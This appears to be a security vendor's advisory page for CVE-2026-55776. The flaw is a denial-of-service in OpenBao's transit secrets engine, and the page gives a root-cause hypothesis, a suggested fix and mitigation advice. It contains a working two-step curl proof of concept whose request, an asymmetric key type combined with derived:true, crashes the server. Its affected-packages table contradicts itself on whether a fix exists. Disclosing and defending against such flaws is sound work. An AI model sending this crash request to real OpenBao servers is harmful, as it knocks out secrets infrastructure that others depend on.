CVE-2026-55776 is a medium-severity (CVSS 6.5) vulnerability in github.com/openbao/openbao. O3 Security confirms whether CVE-2026-55776 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types
Real-World Exposure
github.com/openbao/openbao🐹github.com/openbao/openbaoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519)
with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.
Mount the transit engine:
`curl -sS -X POST -H "X-Vault-Token: root" \
-d '{"type":"transit"}' \
http://127.0.0.1:8200/v1/sys/mounts/transit`
Trigger the crash:
`curl -sS -w '\nHTTP %{http_code}\n' -X POST \
-H "X-Vault-Token: root" \
-H "Content-Type: application/json" \
-d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
http://127.0.0.1:8200/v1/transit/keys/some-key-name`
You can try with both JSON or HCL It will crash the entire cluster.
Observed: HTTP 000 curl: (52) Empty reply from server
$ docker ps -a --filter name=openbao
STATUS: Exited (2)
Root Cause (Hypothesis)
Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or
invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.
Suggested fix:
Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,
xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/openbao/openbao | ≥ 0.1.0 | No fix |
| 🐹Go | github.com/openbao/openbao | all versions | 0.0.0-20260617104123-db57c62602b2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/openbao/openbao. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
No patched version of github.com/openbao/openbao has shipped for CVE-2026-55776 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55776 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55776. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55776 in your dependencies?
O3 detects CVE-2026-55776 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.